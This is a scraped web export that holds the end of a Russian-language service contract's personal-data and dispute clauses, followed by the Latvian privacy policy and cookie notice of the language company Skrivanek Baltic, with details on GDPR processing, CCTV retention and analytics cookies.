защиты от неразрешенной или незаконной обработки и случайной утери, уничтожения или порчи, с применением соответствующих мер технического или организационного характера. 7. 2. Каждая Сторона обязана информировать лиц (субъектов данных) об обработке их личных данных, осуществляемой данной Стороной в качестве администратора данных. 7. 3. Сторона обязуется не передавать полученные личные данные третьим лицам без предварительного письменного согласия Стороны, от которой она получила личные данные. Если согласно нормативным актам Сторона обязана разгласить полученные личные данные, она должна сообщить о передаче личных данных Стороне, от которой личные данные были получены, если только это не запрещено нормативными актами. 7. 4. Исполнитель обязан сохранять конфиденциальность Персональных данных, полученных в рамках настоящего договора, в течение неограниченного срока как в период действия договора, так и впоследствии. 7. 5. Исполнитель обязан обеспечить соблюдение своими работниками, и/или уполномоченными, и/или субподрядчиками предусмотренного данным пунктом требования конфиденциальности в течение неограниченного срока, кроме случаев, когда положения нормативных актов Европейского союза или Латвийской Республики возлагают на Исполнителя обязанность разгласить данную информацию государственным и/или муниципальным учреждениям. 7. 6. Стороны обеспечивают доступ к Персональным данным, полученным в рамках настоящего договора, только тем своим работникам, уполномоченным или субподрядчикам, кто принимает участие в исполнении договора, и только в объеме, необходимом для осуществления их обязанностей по исполнению договорных обязательств. 7. 7. Исполнитель обязан незамедлительно уведомить не только надзорное учреждение, но и Заказчика о нарушениях в отношении обработки Персональных данных, полученных в рамках договора, или возникновении подобных подозрений. Информирование осуществляется не позднее 72 часов после выявления нарушения. 7. 8. Стороны подтверждают, что обработка Персональных данных осуществляется только на территории стран – участниц Европейского союза (ЕС) и Европейской экономической зоны (ЕЭЗ). 7. 9. Стороны несут ответственность за обеспечение и проведение соответствующих мероприятий по защите полученных Персональных данных (включая технические и организационные мероприятия и защиту систем обработки Персональных данных), чтобы обеспечить соблюдение требований нормативных актов Европейского союза и Латвийской Республики в ходе обработки данных, а также предотвратить несанкционированный доступ к персональным данным. 8. ПОРЯДОК РАЗРЕШЕНИЯ СПОРОВ 8. 1. Споры, возникающие в ходе выполнения Договора или в связи с ним, Стороны решают путем двусторонних переговоров в течение 60 (шестидесяти) дней. Соглашение о разрешении спора оформляется в письменном виде и подписывается обеими Сторонами. Данное соглашение прилагается к настоящему Договору. Если соглашение не достигнуто, споры рассматриваются в суде в порядке, предусмотренном нормативными актами Латвийской Республики. Дата: 18. 08. 2021. --- > Starptautiskā valodu uzņēmuma Skrivanek Baltic privātuma politika. Uzņēmuma datu aizsardzības speciālists Uldis Krūmiņš: dpo@skrivanek.lv. - Published: 2018-05-18 - Modified: 2024-01-23 - URL: https://skrivanek.lv/privatuma-politika/ - Translation Priorities: Optional Pārzinis rūpējas par Lietotāja privātumu un personas datu aizsardzību, ievēro Lietotāja tiesības uz personas datu apstrādes likumību saskaņā ar piemērojamajiem tiesību aktiem: Eiropas Parlamenta un Padomes 2016. gada 27. aprīļa Regulu nr. 2016/679 par fizisku personu aizsardzību attiecībā uz personas datu apstrādi un šādu datu brīvu apriti (Regula) un citiem piemērojamajiem tiesību aktiem privātuma un datu apstrādes jomā. Ņemot vērā minēto, Pārzinis ir izstrādājis šo privātuma politiku ar mērķi sniegt Regulā paredzēto informāciju. 1. 1. Personas datu apstrādes Pārzinis ir SIA “Skrivanek Baltic”, reģ. Nr. : 40003626172, juridiskā adrese Lāčplēša ielā 87C, Rīgā, LV-1011, tālrunis: 80007272 (turpmāk tekstā –“Skrivanek”), mājaslapas: www. skrivanek. lv, www. bernunometnes. lv, www. valodumacibas. lv. 2. 1. Skrivanek apstrādā Klientu personas datus tādā apjomā un kārtībā, kā to nosaka un atļauj Latvijas Republikas un Eiropas Savienības normatīvie akti. Klientu datus ir tiesīgi saņemt un apstrādāt arī citi Skrivanek personas datu apstrādātāji. Sīkākai informācijai par sadarbības partneriem sazinieties ar Skrivanek, izmantojot norādītos saziņas kanālus (skatīt Skrivanek mājaslapas www. skrivanek. lv sadaļu “Kontakti”. 3. 1. Regula; 3. 2. Fizisko personu datu apstrādes likums; 3. 3. Bērnu nometņu organizēšanas un darbības kārtība (MK, Nr. 981); 3. 4. Bērnu tiesību aizsardzības likums. 4. 1. Privātuma politika (turpmāk tekstā – “Politika”) sniedz informāciju par to, kā Skrivanek vāc, apstrādā, glabā, kopīgo, dzēš un aizsargā Klientu personas datus, tādējādi nodrošinot, ka Klientu personas dati tiek apstrādāti likumīgi, godprātīgi un Klientiem pārredzamā veidā. Politika attiecināma uz Klientu personas datiem, jebkuru fiziskas personas datu apstrādi un Klientiem sniegtajiem pakalpojumiem. 4. 2. Ja Skrivanek atjauninās šo politiku, visas izmaiņas tiks publicētas Skrivanek mājaslapā www. skrivanek. lv, sadaļā “Par uzņēmumu” – “Privātuma politika”. 5. 1. Personas datu kategorijas, ko apstrādā Skrivanek, ir atkarīgas no Klientiem sniegtajiem pakalpojumiem. Skrivanek ir tiesīgs apstrādāt šādas personas datu kategorijas šīs Politikas 7. punktā norādītājiem mērķiem: 5. 1. 1. vārds, uzvārds, personas kods/dzimšanas datums, korespondences adrese, telefona numurs un e-pasta adrese; 5. 1. 2. bankas dati; 5. 1. 3. personu apliecinošo dokumentu dati (dokumenta numurs, izdošanas datums un vieta, utt. ); 5. 1. 4. dati, kurus Klients pats paziņo Skrivanek; 5. 1. 5. videonovērošanas ieraksti un attēli; 5. 1. 6. bērnu nometņu dalībniekiem normatīvajos aktos noteikto informāciju par dalībnieka veselību. 5. 2. Skrivanek apstrādā šādus datus par pakalpojumu izmantošanu šīs Politikas 7. punktā norādītājiem mērķiem: 5. 2. 1. sīkdatnes (tīmekļa vietas pārlūkošanas dati) – dati par Skrivanek mājaslapu (www. skrivanek. lv, www. bernunometnes. lv, www. valodumacibas. lv) (turpmāk tekstā – “Skrivanek mājaslapas”) apmeklēšanu. 6. 1. Klienta piekrišana – Klients kā personas datu subjekts pats dod piekrišanu personas datu vākšanai un apstrādei noteiktiem mērķiem. Klienta piekrišana ir viņa brīva griba un patstāvīgs lēmums, kas var tikt sniegts jebkurā brīdī, tādējādi atļaujot Skrivanek apstrādāt personas datus noteiktajiem mērķiem. Klienta piekrišana ir tam saistoša, ja tā tiek sniegta rakstiski (aizpildot veidlapu Skrivanek birojā, nosūtot elektronisko pieprasījumu pēc Klienta identifikācijas vai izmantojot tīmekļa lapu www. skrivanek. lv, www. bernunometnes. lv, www. valodumacibas. lv. Klientam ir tiesības jebkurā laikā atsaukt savu iepriekš sniegto piekrišanu, izmantojot norādītos saziņas kanālus (skatīt Skrivanek mājaslapas www. skrivanek. lv sadaļu “Kontakti”. Pieteiktās izmaiņas stāsies spēkā trīs darba dienu laikā. Piekrišanas atsaukums neietekmē apstrādes likumību, kas pamatojas uz piekrišanu pirms atsaukuma. 6. 2. Līguma noslēgšana un izpilde – lai Skrivanek varētu noslēgt un izpildīt līgumu ar Klientu, kvalitatīvi sniedzot pakalpojumus un apkalpojot Klientu, tam jāapkopo un jāapstrādā noteikti personas dati, kas tiek savākti pirms līguma noslēgšanas ar Skrivanek vai jau noslēgtā līguma laikā. 6. 3. Skrivanek leģitīmas intereses – ievērojot Skrivanek intereses, kuru pamatā ir kvalitatīvu pakalpojumu un savlaicīga atbalsta sniegšana Klientam, Skrivanek ir tiesības apstrādāt Klienta personas datus tādā apjomā, kāds tam ir objektīvi nepieciešams un pietiekams šīs Politikas 7. 1. -7. 3. punktā norādītājiem mērķiem. Par Skrivanek leģitīmajām interesēm ir uzskatāma personas datu apstrāde, veicot tiešu tirgvedību, kā rezultātā Klientam tiek izteikti jauni un/vai individuāli Skrivanek pakalpojumu piedāvājumi (sk. arī šīs Politikas 8. 2. un 8. 3. punktu). Ņemot vērā to, ka Skrivanek ir SKRIVANEK Holding SE grupas uzņēmumu daļa (sk. arī šīs Politikas 12. 4. punktu), tam ir leģitīmas intereses apstrādāt savu Klientu datus, nosūtot tos citiem grupas uzņēmumiem iekšējos administratīvos nolūkos, t. sk. , lai SKRIVANEK Holding SE grupas uzņēmumu līmenī piedāvātu Klientiem mūsdienu prasībām atbilstošus pakalpojumus. 6. 4. Juridisko pienākumu izpilde – Skrivanek ir tiesīgs apstrādāt personas datus, lai izpildītu normatīvo aktu prasības, kā arī sniegtu atbildes uz valsts un pašvaldības likumīgiem pieprasījumiem. 6. 5. Vitālu interešu aizsardzība – Skrivanek ir tiesīgs apstrādāt personas datus, lai aizsargātu Klienta vai citas fiziskas personas vitālas intereses, piem. , ja video ieraksta dati nepieciešami noziedzīgu nodarījumu novēršanai un atklāšanai. 7. 1. Skrivanek apstrādā personas datus, lai nodrošinātu kvalitatīvu pakalpojumu sniegšanu līguma ar Skrivanek spēkā esamības laikā: 7. 1. 1. klientu sūdzību izskatīšanai un atbalsta (t. sk. tehniskā atbalsta) nodrošināšanai saistībā ar sniegtajiem pakalpojumiem; 7. 1. 2. efektīvas naudas plūsmas pārvaldīšanai, t. sk. , Klienta maksājumu un parādu administrēšanai; 7. 1. 3. klientu informēšanai par citu SKRIVANEK Holding SE grupas uzņēmumu pakalpojumiem; 7. 1. 4. videonovērošanai drošības nolūkiem. 7. 2. Skrivanek apstrādā personas datus, lai veicinātu nozares attīstību un piedāvātu jaunus pakalpojumus Klientiem, t. sk. ,: 7. 2. 1. jaunu pakalpojumu izveidei un piedāvājumu izteikšanai par tiem; 7. 2. 2. tirgus analīzes veikšanai un biznesa modeļa attīstībai tiek veikta Skrivanek klientu statistisko datu apstrāde. 7. 3. Skrivanek apstrādā personas datus, lai veidotu un uzturētu Skrivanek iekšējos procesus, nodrošinātu dokumentu apriti un citus iekšējos procesus (piem. , līgumu un citu dokumentu arhivēšanu) tam nepieciešamā un pietiekamā apjomā. 7. 4. Skrivanek ir tiesīgs apstrādāt datus zemāk norādītajiem, kā arī citiem mērķiem, saņemot no Klienta brīvi sniegtu un nepārprotamu piekrišanu: 7. 4. 1. klienta personas datu pārbaude parādvēstures datu bāzēs pirms līguma noslēgšanas, lai novērtētu Klienta spēju izpildīt līguma saistības, savukārt līguma spēkā esamības laikā šāda pārbaude ir nepieciešama, lai piedāvātu Klientam jaunus un modernākus pakalpojumus; 7. 4. 2. Skrivanek tēla atpazīstamības veicināšanai tirgū, sūtot Klientiem jaukus novēlējumus, piešķirot bonusus, organizējot aptaujas esošo pakalpojumu uzlabošanai, kā arī jaunu pakalpojumu izveidei. 8. 1. Klientu personas datu profilēšana kā datu apstrāde: 8. 1. 1. profilēšana ir jebkura veida automatizēta personas datu apstrāde, kas izpaužas kā personas datu izmantošana nolūkā izvērtēt konkrētus ar fizisku personu saistītus personiskus aspektus, jo īpaši analizēt vai prognozēt aspektus saistībā ar minētās fiziskās personas personīgajām vēlmēm, interesēm, uzticamību, uzvedību, atrašanās vietu vai pārvietošanos; 8. 1. 2. apstrādājot Klientu personas datus, Skrivanek var veikt profilēšanu, lai veidotu un izteiktu individuālus piedāvājumus. Automatizētie individuālie lēmumi tiek pieņemti tikai biznesa nolūkos, un tie neradīs Klientam tiesiskas sekas. Klientam jebkurā laikā ir tiesības iebilst pret automatizēta lēmuma pieņemšanu un nebūt par tāda pieņemtā lēmuma subjektu, informējot par to Skrivanek (sk. arī šīs Politikas 8. 3. punkta noteikumus). 8. 2. Tiešā tirgvedība un pamats sūtīt Klientiem komercpaziņojumus: Skrivanek veic tiešo tirgvedību, izplatot Klientiem komercpaziņojumus, lai Klienti vienmēr tiktu informēts par jauniem un/vai tieši Klientiem izveidotiem pakalpojumiem, kā arī īpašiem līguma noteikumiem (piem. , atlaidēm) saskaņā ar šīs Politikas 6. 3. punktā norādīto personas datu apstrādes pamatu. Klientiem ir tiesības jebkurā laikā un bez maksas atteikties no komercpaziņojumu saņemšanas, informējot par to Skrivanek (sk. arī šīs Politikas 8. 3. punkta noteikumus). 8. 3. Klientiem ir tiesības jebkurā brīdī iebilst pret savu personas datu profilēšanu (sk. 8. 1. punktu) vai atteikties no komercpaziņojumu saņemšanas (sk. 8. 2. punktu), par to informējot Skrivanek mutiski (telefonsarunas laikā pēc Klienta identifikācijas, zvanot uz 80007272) vai rakstiski (aizpildot veidlapu Skrivanek birojā, nosūtot elektronisko pieprasījumu uz birojs@skrivanek. lv vai apmeklējot Skrivanek biroju. Pieteiktās izmaiņas stāsies spēkā trīs darba dienu laikā. Izmaiņas neietekmēs personas datu apstrādes likumību pirms šajā punktā norādītiem Klienta iebildumiem un/vai atteikuma. 9. 1. Sīkdatnes ir sīki datu faili, kas ir svarīgi noteiktu tīmekļa vietņu funkciju (piemēram, pieteikšanās) nodrošināšanā. Sīkdatnes ļauj tīmekļa vietnēm atcerēties dažādus iestatījumus, piemēram, valodu, fontu un citas opcijas, kuras esat izvēlējušies tīmekļa lapu attēlošanā. Tāpēc sīkdatnes tiek saglabātas jūsu datorā. Šādi darbojas vairums lielāko tīmekļa lapu un pakalpojumu sniedzēju. 9. 2. Izmantojot sīkdatnes, tiek apstrādāti kopējie lietotāju paradumi un vietnes lietošanas vēsture, diagnosticētas problēmas un trūkumi vietnes darbībā, ievākta lietotāju paradumu statistika, kā arī tiek nodrošināta vietnes funkcionalitātes pilnīga un ērta izmantošana. 9. 3. Jūs varat dzēst jebkuras sīkdatnes, kas jau ir jūsu datorā. Vairums pārlūkprogrammu arī sniedz iespēju bloķēt sīkdatņu izvietošanu jūsu datorā, bet šādā gadījumā nevarēsiet izmantot visus mūsu tiešsaistes pakalpojumus. Sīkāka informācija par sīkdatņu iestatījumiem jūsu pārlūkprogrammā ir pieejama tīmekļa pārlūkprogrammas izstrādātāja tīmekļa vietnē. Skrivanek uzturētās vietnes izmanto funkcionālās, analītiskās, reklāmas un obligātās sīkdatnes. Lai uzzinātu vairāk par sīkdatnēm, lūdzam apmeklēt Skrivanek mājaslapas www. skrivanek. lv sadaļā Paziņojums par sīkdatņu lietošanu”. 10. 1. Skrivanek iegūst Klientu personas datus, kad Klienti: 10. 1. 1. iegādājas Skrivanek pakalpojumus (Skrivanek birojā vai attālināti, veicot iepriekšējo Klienta identifikāciju); 10. 1. 2. pierakstās jaunumu, paziņojumu vai citu pakalpojumu saņemšanai no Skrivanek; 10. 1. 3. jautā Skrivanek plašāku informāciju par pakalpojumu vai sazinās ar Skrivanek saistībā ar sūdzību vai informācijas pieprasīšanu, identificējot Klientu; 10. 1. 4. piedalās konkursos, loterijās vai aptaujās; 10. 1. 5. apmeklē vai pārlūko Skrivanek mājaslapas; 10. 1. 6. tiek filmēts ar Skrivanek videonovērošanas iekārtam Skrivanek teritorijā. 10. 2. Skrivanek var apstrādāt Klientu personas datus, kas ir saņemti no trešajām personām, ja Klients tam piekritis (piem. , no parādvēstures datubāzu turētājiem un tml. ). 10. 3. Skrivanek var apstrādāt Klienta personas datus par Klientu no citiem uzņēmumiem, SKRIVANEK Holding SE grupas uzņēmumiem un partneruzņēmumiem (sk. šīs Politikas 12. punkta noteikumus). 11. 1. Skrivanek apstrādās Klientu personas datus, kamēr pastāv vismaz viens no šādiem apstākļiem: 11. 1. 1. ir spēkā Līgums starp Klientu un Skrivanek; 11. 1. 2. personas datu glabāšanās termiņš ir noteikts vai izriet no Latvijas Republikas un Eiropas Savienības normatīvajiem aktiem; 11. 1. 3. cik tas ir nepieciešams Skrivanek leģitīmo interešu realizācijai un aizsardzībai; 11. 1. 4. kamēr nav atsaukta Klienta piekrišana personas datu apstrādei. Klienta personas dati tiek izdzēsti vēlākais trīs mēnešus pēc tam, kad vairs nav spēkā sākotnējais datu saglabāšanas iemesls, izņemot gadījumus, ja mūsu tiesiskais pienākums ir arī turpmāk saglabāt šos datus (piemēram, bet ne tikai, grāmatvedības uzskaites vai tiesvedības vajadzībām). 12. 1. Lai sniegtu Klientiem pakalpojumus, Skrivanek var kopīgot Klientu personas datus ar: 12. 1. 1. SKRIVANEK Holding SE grupas uzņēmumiem; 12. 1. 2. partneriem vai institūcijām, kas iesaistītas Klientu pasūtīto vai izmantoto pakalpojumu nodrošināšanā; 12. 1. 3. parādu piedziņas uzņēmumiem, kredītinformācijas birojiem, parādvēstures datubāzes turētājiem vai citām parādu atgūšanas organizācijām; 12. 1. 4. cesionāriem – lai nodrošinātu efektīvu naudas plūsmas pārvaldību, Skrivanek ir tiesības cedēt prasījuma tiesības pret parādnieku vai parādniekiem. 12. 2. Skrivanek ir pienākums sniegt informāciju par personas datiem šādām iestādēm un dienestiem: 12. 2. 1. tiesībsargājošām iestādēm, tiesai vai citām valsts un pašvaldības iestādēm, ja tas izriet no normatīvajiem aktiem vai attiecīgās iestādes informācijas pieprasījuma; 12. 3. Skrivanek izsniegs Klientu personas datus tikai nepieciešamā un pietiekamā apjomā atbilstoši normatīvo aktu prasībām un konkrētās situācijas objektīviem apstākļiem. 12. 4. Skrivanek patur tiesības nepieciešamības gadījumā nodot Klientu personas datus citiem SKRIVANEK Holding SE grupas uzņēmumiem vai pakalpojumu sniedzējiem, ja tas ir nepieciešams labāku un kvalitatīvu pakalpojumu sniegšanai Klientiem. Informācijai par SKRIVANEK Holding SE grupas uzņēmumiem, parādu piedziņas aģentūrām, kredītinformācijas birojiem, parādvēstures datubāzes turētājiem vai citām parādu atgūšanas organizācijām, cesionāriem sazinieties ar Skrivanek, izmantojot norādītos saziņas kanālus (skatīt Skrivanek mājaslapas www. skrivanek. lv sadaļu “Kontakti”). 13. 1. Skrivanek nodrošina, pastāvīgi pārskata un uzlabo aizsardzības pasākumus, lai aizsargātu Klientu personas datus no nesankcionētas piekļuves, nejaušas nozaudēšanas, izpaušanas vai iznīcināšanas. Lai to nodrošinātu, Skrivanek pielieto mūsdienu tehnoloģijas, tehniskas un organizatoriskas prasības, t. sk. , izmantojot ugunsmūrus, ielaušanās atklāšanas, analīzes programmatūras un datu šifrēšanu. 13. 2. Skrivanek rūpīgi pārbauda visus pakalpojuma sniedzējus, kas Skrivanek vārdā un uzdevumā apstrādā Klientu personas datus, kā arī izvērtē, vai sadarbības partneri (personas datu apstrādātāji) pielieto atbilstošus drošības pasākumus, lai Klientu personas datu apstrāde notiktu atbilstoši Skrivanek deleģējumam un normatīvo aktu prasībām. Sadarbības partneriem nav atļauts apstrādāt Klienta personas datus saviem nolūkiem. 13. 3. Skrivanek neuzņemas atbildību par jebkādu nesankcionētu piekļuvi personas datiem un/vai personas datu zudumu, ja tas nav atkarīgs no Skrivanek, piemēram, Klienta vainas un/vai nolaidības dēļ. 13. 4. Klienta personas datu apdraudēšanas gadījumā Skrivanek paziņos par to Klientam. 14. 1. Vērsties Skrivanek, lai saņemtu Skrivanek rīcībā esošo personas datu kopiju. 14. 2. Labot visus Skrivanek rīcībā esošos personas datus par sevi, piesakot izmaiņas, sūtot e-pastu elektroniski parakstītu uz birojs@skrivanek. lv, zvanot uz tālruni 80007272 vai Skrivanek birojā. 14. 3. Klientiem ir tiesības iegūt informāciju par tām fiziskām vai juridiskām personām, kuras noteiktā laika posmā no Skrivanek ir saņēmušas informāciju par šo viņiem. Skrivanek nesniegs Klientiem informāciju par valsts institūcijām, kuras ir kriminālprocesa virzītāji, operatīvas darbības subjekti vai citas institūcijas, par kurām likums aizliedz šādas ziņas izpaust. 14. 4. Pieprasīt dzēst vai ierobežot to personas datu apstrādi, kuru apstrāde vairs nav nepieciešama saskaņā ar mērķiem, kādiem tie tika vākti un apstrādāti (tiesības “tikt aizmirstam”). 14. 5. Vērsties Skrivanek vai personas datu apstrādi uzraugošajā iestādē (Datu valsts inspekcija, www. dvi. gov. lv) sakarā ar jautājumiem par personas datu apstrādi. 14. 6. Vērsties pie Skrivanek datu aizsardzības speciālista, lai saņemtu informāciju par klienta personas datu apstrādi un to aizsardzību. 14. 7. Mēneša laikā no attiecīga pieprasījuma iesniegšanas dienas saņemt piekļuvi saviem personas datiem. Klients var iesniegt pieprasījumu par savu tiesību īstenošanu rakstveida formā klātienē, Pārziņa juridiskajā adresē (uzrādot personu apliecinošu dokumentu) vai e-pasta veidā, parakstot ar drošu elektronisko parakstu. Saņemot Klienta pieprasījumu par savu tiesību īstenošanu, Pārzinis pārliecinās par Klienta identitāti, izvērtē pieprasījumu un izpilda to saskaņā ar normatīvajiem aktiem. 15. 1. Lai nodrošinātu augstas kvalitātes klientu apkalpošanas servisu, mēs mutiskās tulkošanas, kā arī valodu apmācības pakalpojumus organizējam arī kas ir mākoņpakalpojumos balstītās video un balss saziņas platformās Zoom vai Microsoft Teams. 15. 2. Platformas Zoom aktuālā provātuma politika ir pieejama šeit, bet platformas Microsoft Teams privātuma politika ir pieejama šeit. Minēto platformu izstrādātāji savās privātuma politikās ir apliecinājuši, ka ievēro Regulā, un citos tiesību aktos noteiktos personas datu apstrādes pamatprincipus, tādā veidā nodrošinot atbilstību Regulai. 16. 1. Datu apstrādes nolūki 16. 1. 1. Drošība SIA "Skrivanek Baltic" telpās, objektu teritorijā vai pie objektiem personu un īpašuma aizsardzība Apstrādes tiesiskais pamats Apstrāde ir vajadzīga SIA "Skrivanek Baltic" un trešo personu leģitīmo interešu ievērošanai (Vispārīgās datu aizsardzības regulas1 6. panta 1. punkta f) apakšpunkts): atklāt un novērst drošības riskus, veicot videonovērošanu objektos un tiem pieguļošajās teritorijās kontrolēt apmeklētāju piekļuves (videonovērošanas zīmes, kurās attēlota skaļruņa piktogramma) Personas datu kategorijas personas attēls (izskats, darbības, uzvedība) transportlīdzekļa attēls, marka, valsts reģistrācijas numura zīme personas un transportlīdzekļa attēla ieraksta laiks, datums un ieraksta vieta personas attēls ar balss ierakstu sarunas laikā Apstrādes termiņi videonovērošanas ieraksti tiek apstrādāti līdz 14 dienām iespējamu pārkāpumu gadījumā videonovērošanas ieraksti var tikt apstrādāti līdz 60 dienām 16. 1. 2. SIA "Skrivanek Baltic" tiesisko interešu aizsardzība Apstrādes tiesiskais pamats Apstrāde ir vajadzīga SIA "Skrivanek Baltic" un trešo personu leģitīmo interešu ievērošanai (Vispārīgās datu aizsardzības regulas 6. panta 1. punkta f) apakšpunkts): izmeklēt, atklāt un nodrošināties ar pierādījumiem (piemēram, lai iespējama strīda situācijā glabātu personas datus noteiktu laiku strīda atrisināšanai) Personas datu kategorijas personas attēls (izskats, darbības, uzvedība) transportlīdzekļa attēls, marka, valsts reģistrācijas numura zīme personas un transportlīdzekļa attēla ieraksta laiks, datums un ieraksta vieta personas attēls ar balss ierakstu sarunas laikā Apstrādes termiņi Ja videonovērošanas ierakstā ir novērojama prettiesiska rīcība vai rīcība, kas var palīdzēt SIA "Skrivanek Baltic" vai trešajām personām aizsargāt to tiesiskās intereses, tad attiecīgais videoieraksts var tikt saglabāts līdz tiesiskās intereses nodrošināšanas brīdim (piemēram, līdz brīdim, kad spēkā stājies tiesas spriedums) 1 EIROPAS PARLAMENTA UN PADOMES REGULA (ES) 2016/679 (2016. gada 27. aprīlis) par fizisku personu aizsardzību attiecībā uz personas datu apstrādi un šādu datu brīvu apriti un ar ko atceļ Direktīvu 95/46/EK (Vispārīgā datu aizsardzības regula) Paziņojums par sīkdatņu lietošanu SKRIVANEK DATU AIZSARDZĪBAS SPECIĀLISTS Uldis Krūmiņš dpo@skrivanek. lv --- > Lasiet atbildes uz jautājumiem: Kas ir sīkdatnes, kādiem mērķiem mēs izmantojam sīkdatnes šajā tīmekļa vietnē, kā sīkdatņu lietošanu var mainīt? utt. - Published: 2018-05-18 - Modified: 2024-01-23 - URL: https://skrivanek.lv/privatuma-politika/pazinojums-par-sikdatnu-lietosanu/ - Translation Priorities: Optional PĀRZINIS 1. Interneta vietnē https://skrivanek. lv (turpmāk – Vietne) tiek vākti dati par Vietnes apmeklētājiem, tādējādi gūstot iespēju Vietnes uzturētājam izvērtēt, cik noderīga ir Vietne, un kā to varētu uzlabot. 2. Pārzinis, kas Vietnē vāc datus par Vietnes apmeklētājiem, ir SIA “ Skrivanek Baltic” , reģ. Nr. : 40003626172 (turpmāk – Pārzinis). 3. Pārziņa adrese: Lāčplēša iela 87C, Rīga, LV-1011, e-pasts: birojs@skrivanek. lv, tālrunis: + 371 80007272. SĪKDATNES 4. Pārzinis nemitīgi pilnveido Vietni ar mērķi, uzlabot tās lietošanu, tāpēc Pārzinim ir jāzina, kāda informācija ir svarīga Vietnes apmeklētājiem, cik bieži viņi šo Vietni apmeklē, kādas ierīces un pārlūkprogrammu viņi izmanto, no kāda reģiona nāk apmeklētāji, un kādu saturu vislabprātāk lasa. 5. Pārzinis izmanto sistēmu Google Analytics, kas ļauj Pārzinim analizēt, kā apmeklētāji izmanto Vietni. Par to, kā darbojas Google Analytics pamatprincipi, iespējams uzzināt Google mājas lapā https://support. google. com/analytics/answer/1012034? hl=lten&ref_topic=6157800. Pārzinis izmanto savāktos datus savās tiesiskajās interesēs, lai uzlabotu izpratni par Vietnes apmeklētāju vajadzībām un uzlabotu pieejamību Pārziņa publiskotajai informācijai. Statistikas datiem par Vietnes apmeklētājiem var piekļūt tikai tie Pārziņa darbinieki, kuri ir atbildīgi par tādu datu analīzi. 6. Serveris, kurā izvietota Vietne, var reģistrēt apmeklētāja nosūtītos pieprasījumus (izmantotā ierīce, pārlūkprogramma, IP adrese, piekļuves datums un laiks). Šajā punktā minētie dati tiek izmantoti tehniskiem nolūkiem: lai nodrošinātu Vietnes pienācīgu funkcionēšanu un drošību un izmeklētu iespējamos drošības incidentus. Šajā punktā minēto datu vākšanas pamats ir Pārziņa tiesiskā interese nodrošināt Vietnes tehnisku pieejamību un integritāti. 7. Sīkdatnes ir nelieli faili, kurus katru reizi, kad apmeklētājs apmeklē Vietni, pārlūkprogramma saglabā apmeklētāja datorā tādā apmērā, kā norādīts apmeklētāja datora pārlūkprogrammas iestatījumos. Atsevišķas sīkdatnes tiek izmantotas, lai atlasītu un piemērotu apmeklētājam piedāvājamo informāciju un reklāmas, pamatojoties uz saturu, ko apmeklētājs aplūkojis agrāk, un tādējādi veidotu apmeklētājam Vietnes lietošanu vienkāršu, ērtu un individuāli piemērotu. Papildu informāciju par sīkdatnēm, kā arī to dzēšanu un pārvaldīšanu var iegūt mājaslapā www. aboutcookies. org. 8. Vietne izmanto sīkdatnes, lai vāktu lietotāja IP adreses un pārlūkošanas informāciju un ļautu Vietnei atcerēties apmeklētāja izvēli. Sīkdatnes ļauj Pārzinim sekot līdzi Vietnes datu plūsmai un lietotāju mijiedarbībai ar Vietni – Pārzinis izmanto šos datus, lai analizētu apmeklētāju uzvedību un uzlabotu Vietni. Sīkdatņu izmantošanas tiesiskais pamats ir Pārziņa leģitīmā interese nodrošināt Vietnes funkcionalitāti, pieejamību un integritāti. SĪKDATŅU VEIDI 9. Pēc darbības laika sīkdatnes var iedalīt divās pamata kategorijās - īstermiņa sīkdatnes (glabājas datorā līdz tīmekļa pārlūkprogrammas aizvēršanai, bet pēc tam tiek dzēstas) un ilgtermiņa (pastāvīgās) sīkdatnes (glabājas datorā ilgāku laiku (atkarībā no jūsu pārlūkprogrammas un sīkdatņu iestatījumiem) vai kamēr tās netiek dzēstas manuāli). 10. Skrivanek Baltic vietnēs (https://skrivanek. lv, https://valodumacibas. lv un https://bernunometnes. lv) tiek izmantotas šādas sīkdatnes: Vietne Sīkdatne Apraksts https://skrivanek. lv, https://valodumacibas. lv, https://bernunometnes. lv _fbp Facebook sīkdatne. Saglabā informāciju par tīmekļa vietņu apmeklētājiem. Sīkdatnes derīguma termiņš ir 3 mēneši. https://skrivanek. lv, https://valodumacibas. lv _ga Google Analytics. Skaita un saglabā lapas skatījumus. Sīkdatnes derīguma termiņš ir 1 gads. Google Analytics Cookie Usage on Websites https://skrivanek. lv, https://valodumacibas. lv _ga_* Google Analytics. Skaita un saglabā lapas skatījumus. Sīkdatnes derīguma termiņš ir 1 gads. Google Analytics Cookie Usage on Websites https://skrivanek. lv, https://valodumacibas. lv _gcl_au Google Adsense. Reklāmas efektivitātes metrikas sīkdatne. Nav derīguma termiņa. https://skrivanek. lv, https://valodumacibas. lv _gid Google Analytics. Skaita un saglabā lapas skatījumus. Sīkdatnes derīguma termiņš ir 1 diena. Google Analytics Cookie Usage on Websites https://skrivanek. lv, https://valodumacibas. lv, https://bernunometnes. lv cookie_notice_accepted GDPR sīkdatņu paziņojums. Informē par tīmekļa vietnē izmantotajām sīkdatnēm. Nav derīguma termiņa. https://valodumacibas. lv, https://bernunometnes. lv _gat_UA-* Google Analytics. Tīmekļa vietnes apmeklētāju pieprasījumu metrika. Google Analytics Cookie Usage on Websites. Sīkdatnes derīguma termiņš ir sesija. https://bernunometnes. lv _ym_d Yandex Metrica. Saglabā informāciju par pirmo apmeklējumu. Sīkdatnes derīguma termiņs 1 gads. https://bernunometnes. lv _ym_isad Yandex Metrica. Nosaka, vai lietotāja pārlūkprogrammā ir instalēta reklāmu bloķēšanas programmatūra. Sīkdatnes derīguma termiņš ir 2 dienas. https://bernunometnes. lv _ym_uid Yandex Metrica. Sīkdatne tiek izmantota lapas apmeklētāju identificēšanai. Sīkdatnes derīguma termiņš ir 1 gads. https://bernunometnes. lv _ym_visorc Yandex Metrica. Pārlūkprogrammas unikāls identifikators, kas ļauj sekot līdzi lietotāja darbībām tīmekļa vietnē. Sīkdatnes derīguma termiņš ir sesija. ATTEIKŠANĀS NO SĪKDATŅU IZMANTOŠANAS 11. Vietnes lietotājam ir tiesības nepiekrist šādu statistisku datu veidošanai, uzkrāšanai un apstrādei, jebkurā laikā manuāli atslēdzot sīkdatņu apstrādes mehānisma lietošanu pārlūkprogrammā. Mainīt sīkdatņu iestatījumus vai tās dzēst iespējams interneta pārlūkprogrammas iestatījumos. Pievienojam saites uz populārāko pārlūkprogrammu sīkdatņu pārvaldības informācijas resursiem: Firefox - https://support. mozilla. org/en-US/kb/cookies-information-websites-store-on-your-computer Chrome - https://support. google. com/chrome/answer/95647? hl=en Safari - https://support. apple. com/lv-lv/guide/safari/sfri11471/mac Opera - https://help. opera. com/en/latest/web-preferences/ Edge - https://support. microsoft. com/en-us/help/4468242/microsoft-edge-browsing-data-and-privacy 